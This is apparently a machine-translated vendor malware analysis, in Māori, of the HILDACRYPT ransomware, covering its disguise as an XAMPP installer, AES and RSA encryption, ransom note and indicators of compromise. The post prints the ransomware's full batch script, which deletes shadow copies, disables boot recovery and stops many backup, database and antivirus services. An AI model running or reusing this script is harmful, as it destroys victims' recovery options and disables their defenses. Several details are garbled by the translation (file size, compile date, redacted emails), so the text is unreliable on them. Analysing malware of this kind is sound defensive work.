🥇HILDACRYPT: Ka pa te ransomware hou ki nga punaha taapiri me nga rongoa wheori

Kia ora, Habr! Ano ano, kei te korero matou mo nga putanga hou o te malware mai i te waahanga Ransomware. Ko HILDACRYPT he ransomware hou, he mema o te whanau Hilda i kitea i te marama o Akuhata 2019, i tapaina ki te pakiwaituhi Netflix i whakamahia hei tohatoha i te rorohiko. I tenei ra kei te mohio tatou ki nga ahuatanga hangarau o tenei huaketo ransomware kua whakahoutia.

I roto i te putanga tuatahi o Hilda ransomware, he hononga ki tetahi i tukuna ki runga Youtube te whakatangi Ko nga raupapa pakiwaituhi i roto i te reta utu. Ko te HILDACRYPT e whakapouri ana hei kaiwhakaputa XAMPP tika, he tohatoha Apache ngawari ki te whakauru kei roto ko MariaDB, PHP, me Perl. I te wa ano, he rereke te ingoa kōnae o te cryptolocker - xamp. I tua atu, kaore he waitohu hiko i te konae ransomware.

Te tātari pateko

Ko te ransomware kei roto i te konae PE32 .NET kua tuhia mo MS Windows. Ko tona rahi he 135 paita. Ko te waehere kaupapa matua me te waehere kaupapa kaiwawao kua tuhia ki C #. E ai ki te ra whakahiato me te tohu wa, i hangaia te rua i te Mahuru 168, 14.

E ai ki a Detect It Easy, ko te ransomware kei te purangatia ma te whakamahi i te Confuser me te ConfuserEx, engari he rite tonu enei obfuscators ki o mua, ko ConfuserEx anake te kaiwhakakapi ki a Confuser, no reira he rite o ratou hainatanga waehere.

Ko te HILDACRYPT kei te whakakiihia me te ConfuserEx.

SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

Vector whakaeke

Ko te mea pea, i kitea te ransomware i runga i tetahi o nga pae hotaka paetukutuku, e whakaahua ana hei kaupapa XAMPP tika.

Ko te mekameka katoa o te mate ka kitea i roto app.any.run sandbox.

Te whakapouri

Ka penapena nga aho ransomware ki te ahua whakamunatia. Ina whakarewahia, ka wetewetehia e HILDACRYPT ma te whakamahi i te Base64 me te AES-256-CBC.

tāutanga

Ko te tuatahi, ka hangaia e te ransomware he kōpaki i roto i te %AppDataRoaming% kei reira te GUID (Globally Unique Identifier) te hanga matapōkeretia. Ma te taapiri i tetahi konae pekapeka ki tenei waahi, ka whakarewahia e te ransomware huaketo ma te whakamahi i te cmd.exe:

cmd.exe /c JKfgkgj3hjgfhjka.bat & puta

Katahi ka timata ki te whakahaere i tetahi tuhinga tuhi hei whakakore i nga ahuatanga punaha, ratonga ranei.

Kei roto i te tuhinga he rarangi roa o nga whakahau e whakakore ana i nga kape atarangi, whakakore i te tūmau SQL, te whakaora me te rongoa wheori.

Hei tauira, ka ngana ki te aukati i nga ratonga Acronis Backup. I tua atu, ka whakaekea e ia nga punaha taapiri me nga rongoa wheori mai i nga kaihoko e whai ake nei: Veeam, Sophos, Kaspersky, McAfee me etahi atu.

@echo off
:: Not really a fan of ponies, cartoon girls are better, don't you think?
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
vssadmin Delete Shadows /all /quiet
net stop SQLAgent$SYSTEM_BGC /y
net stop “Sophos Device Control Service” /y
net stop macmnsvc /y
net stop SQLAgent$ECWDB2 /y
net stop “Zoolz 2 Service” /y
net stop McTaskManager /y
net stop “Sophos AutoUpdate Service” /y
net stop “Sophos System Protection Service” /y
net stop EraserSvc11710 /y
net stop PDVFSService /y
net stop SQLAgent$PROFXENGAGEMENT /y
net stop SAVService /y
net stop MSSQLFDLauncher$TPSAMA /y
net stop EPSecurityService /y
net stop SQLAgent$SOPHOS /y
net stop “Symantec System Recovery” /y
net stop Antivirus /y
net stop SstpSvc /y
net stop MSOLAP$SQL_2008 /y
net stop TrueKeyServiceHelper /y
net stop sacsvr /y
net stop VeeamNFSSvc /y
net stop FA_Scheduler /y
net stop SAVAdminService /y
net stop EPUpdateService /y
net stop VeeamTransportSvc /y
net stop “Sophos Health Service” /y
net stop bedbg /y
net stop MSSQLSERVER /y
net stop KAVFS /y
net stop Smcinst /y
net stop MSSQLServerADHelper100 /y
net stop TmCCSF /y
net stop wbengine /y
net stop SQLWriter /y
net stop MSSQLFDLauncher$TPS /y
net stop SmcService /y
net stop ReportServer$TPSAMA /y
net stop swi_update /y
net stop AcrSch2Svc /y
net stop MSSQL$SYSTEM_BGC /y
net stop VeeamBrokerSvc /y
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
net stop VeeamDeploymentService /y
net stop SQLAgent$TPS /y
net stop DCAgent /y
net stop “Sophos Message Router” /y
net stop MSSQLFDLauncher$SBSMONITORING /y
net stop wbengine /y
net stop MySQL80 /y
net stop MSOLAP$SYSTEM_BGC /y
net stop ReportServer$TPS /y
net stop MSSQL$ECWDB2 /y
net stop SntpService /y
net stop SQLSERVERAGENT /y
net stop BackupExecManagementService /y
net stop SMTPSvc /y
net stop mfefire /y
net stop BackupExecRPCService /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop klnagent /y
net stop MSExchangeSA /y
net stop MSSQLServerADHelper /y
net stop SQLTELEMETRY /y
net stop “Sophos Clean Service” /y
net stop swi_update_64 /y
net stop “Sophos Web Control Service” /y
net stop EhttpSrv /y
net stop POP3Svc /y
net stop MSOLAP$TPSAMA /y
net stop McAfeeEngineService /y
net stop “Veeam Backup Catalog Data Service” /
net stop MSSQL$SBSMONITORING /y
net stop ReportServer$SYSTEM_BGC /y
net stop AcronisAgent /y
net stop KAVFSGT /y
net stop BackupExecDeviceMediaService /y
net stop MySQL57 /y
net stop McAfeeFrameworkMcAfeeFramework /y
net stop TrueKey /y
net stop VeeamMountSvc /y
net stop MsDtsServer110 /y
net stop SQLAgent$BKUPEXEC /y
net stop UI0Detect /y
net stop ReportServer /y
net stop SQLTELEMETRY$ECWDB2 /y
net stop MSSQLFDLauncher$SYSTEM_BGC /y
net stop MSSQL$BKUPEXEC /y
net stop SQLAgent$PRACTTICEBGC /y
net stop MSExchangeSRS /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop McShield /y
net stop SepMasterService /y
net stop “Sophos MCS Client” /y
net stop VeeamCatalogSvc /y
net stop SQLAgent$SHAREPOINT /y
net stop NetMsmqActivator /y
net stop kavfsslp /y
net stop tmlisten /y
net stop ShMonitor /y
net stop MsDtsServer /y
net stop SQLAgent$SQL_2008 /y
net stop SDRSVC /y
net stop IISAdmin /y
net stop SQLAgent$PRACTTICEMGT /y
net stop BackupExecJobEngine /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop BackupExecAgentBrowser /y
net stop VeeamHvIntegrationSvc /y
net stop masvc /y
net stop W3Svc /y
net stop “SQLsafe Backup Service” /y
net stop SQLAgent$CXDB /y
net stop SQLBrowser /y
net stop MSSQLFDLauncher$SQL_2008 /y
net stop VeeamBackupSvc /y
net stop “Sophos Safestore Service” /y
net stop svcGenericHost /y
net stop ntrtscan /y
net stop SQLAgent$VEEAMSQL2012 /y
net stop MSExchangeMGMT /y
net stop SamSs /y
net stop MSExchangeES /y
net stop MBAMService /y
net stop EsgShKernel /y
net stop ESHASRV /y
net stop MSSQL$TPSAMA /y
net stop SQLAgent$CITRIX_METAFRAME /y
net stop VeeamCloudSvc /y
net stop “Sophos File Scanner Service” /y
net stop “Sophos Agent” /y
net stop MBEndpointAgent /y
net stop swi_service /y
net stop MSSQL$PRACTICEMGT /y
net stop SQLAgent$TPSAMA /y
net stop McAfeeFramework /y
net stop “Enterprise Client Service” /y
net stop SQLAgent$SBSMONITORING /y
net stop MSSQL$VEEAMSQL2012 /y
net stop swi_filter /y
net stop SQLSafeOLRService /y
net stop BackupExecVSSProvider /y
net stop VeeamEnterpriseManagerSvc /y
net stop SQLAgent$SQLEXPRESS /y
net stop OracleClientCache80 /y
net stop MSSQL$PROFXENGAGEMENT /y
net stop IMAP4Svc /y
net stop ARSM /y
net stop MSExchangeIS /y
net stop AVP /y
net stop MSSQLFDLauncher /y
net stop MSExchangeMTA /y
net stop TrueKeyScheduler /y
net stop MSSQL$SOPHOS /y
net stop “SQL Backups” /y
net stop MSSQL$TPS /y
net stop mfemms /y
net stop MsDtsServer100 /y
net stop MSSQL$SHAREPOINT /y
net stop WRSVC /y
net stop mfevtp /y
net stop msftesql$PROD /y
net stop mozyprobackup /y
net stop MSSQL$SQL_2008 /y
net stop SNAC /y
net stop ReportServer$SQL_2008 /y
net stop BackupExecAgentAccelerator /y
net stop MSSQL$SQLEXPRESS /y
net stop MSSQL$PRACTTICEBGC /y
net stop VeeamRESTSvc /y
net stop sophossps /y
net stop ekrn /y
net stop MMS /y
net stop “Sophos MCS Agent” /y
net stop RESvc /y
net stop “Acronis VSS Provider” /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop MSSQLFDLauncher$SHAREPOINT /y
net stop “SQLsafe Filter Service” /y
net stop MSSQL$PROD /y
net stop SQLAgent$PROD /y
net stop MSOLAP$TPS /y
net stop VeeamDeploySvc /y
net stop MSSQLServerOLAPService /y
del %0

Ina whakakorehia nga ratonga me nga tukanga kua whakahuahia i runga ake nei, ka kohia e te cryptolocker nga korero mo nga tukanga whakahaere katoa ma te whakamahi i te whakahau rarangi mahi hei whakarite kia ngaro nga ratonga e tika ana.
rarangi mahi v/fo csv

Ko tenei whakahau e whakaatu ana i te rarangi taipitopito o nga tukanga whakahaere, ko nga waahanga e wehea ana e te tohu ",".
««csrss.exe»,«448»,«services»,«0»,«1�896 ��»,«unknown»,»�/�»,«0:00:03»,»�/�»»

Whai muri i tenei haki, ka timata te ransomware ki te mahi whakamunatanga.

Whakamunatanga

Whakamunatanga kōnae

Ka tirotirohia e HILDACRYPT nga ihirangi katoa o nga puku pakeke, engari mo nga kōpaki Recycle.Bin me Reference AssembliesMicrosoft. Kei roto i nga mea whakamutunga nga konae dll, pdb, aha atu mo nga tono .Net ka pa ki te mahi o te ransomware. Hei rapu i nga konae ka whakamunatia, ka whakamahia te rarangi taapiri e whai ake nei:

«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»

Ka whakamahia e te ransomware te AES-256-CBC algorithm hei whakamuna i nga konae kaiwhakamahi. Ko te rahi matua he 256 nga moka me te rahinga arawhiti (IV) he 16 paita.

I te whakaahua e whai ake nei, ko nga uara o te byte_2 me te byte_1 i whiwhi matapōkeretia ma te whakamahi i GetBytes().

Kī

IN ME

Kei te kōnae whakamuna te toronga HCY!.. He tauira tenei o te konae whakamunatia. Ko te matua me te IV kua whakahuahia i runga ake i hangaia mo tenei konae.

Whakamunatanga matua

Ka penapenahia e te cryptolocker te matua AES i hangaia i roto i te konae whakamunatia. Ko te waahanga tuatahi o te konae whakamunatia he pane kei roto nga raraunga penei i te HILDACRYPT, KEY, IV, FileLen i roto i te whakatakotoranga XML, a he penei te ahua:

Ka mahia te whakamunatanga matua AES me te IV ma te whakamahi i te RSA-2048, ka mahia te whakawaehere ma te whakamahi i te Base64. Ko te kī tūmatanui RSA kei roto i te tinana o te cryptolocker i tetahi o nga aho whakamunatia ki te whakatakotoranga XML.

28guEbzkzciKg3N/ExUq8jGcshuMSCmoFsh/3LoMyWzPrnfHGhrgotuY/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8/qfjMtZ41sIIIEyajVKfA18OT72/UBME2gsAM/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa/jQ==AQAB

Ka whakamahia he kī tūmatanui RSA hei whakamuna i te kī kōnae AES. Ko te kī tūmatanui RSA ko Base64 kua whakawaeheretia, he kōwae me te taupū tūmatanui o 65537. Ko te whakamunatanga me te RSA tūmataiti kī, kei a te kaitukino.

Whai muri i te whakamunatanga RSA, ka whakawaeheretia te taviri AES ma te whakamahi i te Base64 kua rongoa ki te konae whakamunatia.

Karere utu

Kia oti te whakamunatanga, ka tuhia e HILDACRYPT te konae html ki te kōpaki i whakamunatia ai nga konae. Ko te whakamohiotanga ransomware e rua nga wahitau imeera ka taea e te patunga te whakapā atu ki te kaiwhai.

[email tiakina]
[email tiakina]

Kei roto ano i te panui tangohanga te rarangi "Kaore he loli i te haumaru;)" - he tohutoro mo nga kiripuaki anime me te manga me te ahua o nga kotiro iti kua aukatihia i Hapani.

mutunga

HILDACRYPT, he whanau ransomware hou, kua tukuna he putanga hou. Ko te tauira whakamunatanga ka aukati i te tangata kua mate ki te wetemuna i nga konae kua whakamunatia e te ransomware. Ka whakamahi a Cryptolocker i nga tikanga whakamarumaru kaha ki te whakakore i nga ratonga whakamarumaru e pa ana ki nga punaha taapiri me nga otinga wheori. Ko te kaituhi o HILDACRYPT he mea powhiriwhiri o te raupapa pakiwaituhi Hilda e whakaatuhia ana i runga i Netflix, ko te hononga ki te wakatō i roto i te reta hoko mo te putanga o mua o te kaupapa.

Ka rite ki te tikanga, Acronis Backup и Acronis True Image Ka taea e koe te tiaki i to rorohiko mai i te HILDACRYPT ransomware, ka whai mana nga kaiwhakarato ki te tiaki i o raatau kaihoko Acronis Backup Cloud. Ka whakapumauhia te whakamarumaru na te mea kei roto enei otinga haumaru ipurangi kei roto ko te taapiri anake, engari ko ta maatau punaha haumarutanga whakauru Acronis Active Protection - I whakakahangia e te tauira ako miihini me te hangai i runga i nga heuristics whanonga, he hangarau e kaha ana ki te karo i te riri o te ransomware kore-ra penei i era atu.

Nga tohu o te tauwehe

Toronga kōnae HCY!
HILDACRYPTReadMe.html
xamp.exe me te reta kotahi "p" kaore he waitohu mamati
SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

Source: will.com

HILDACRYPT: Ko te ransomware hou ka pa ki nga punaha taapiri me nga rongoa wheori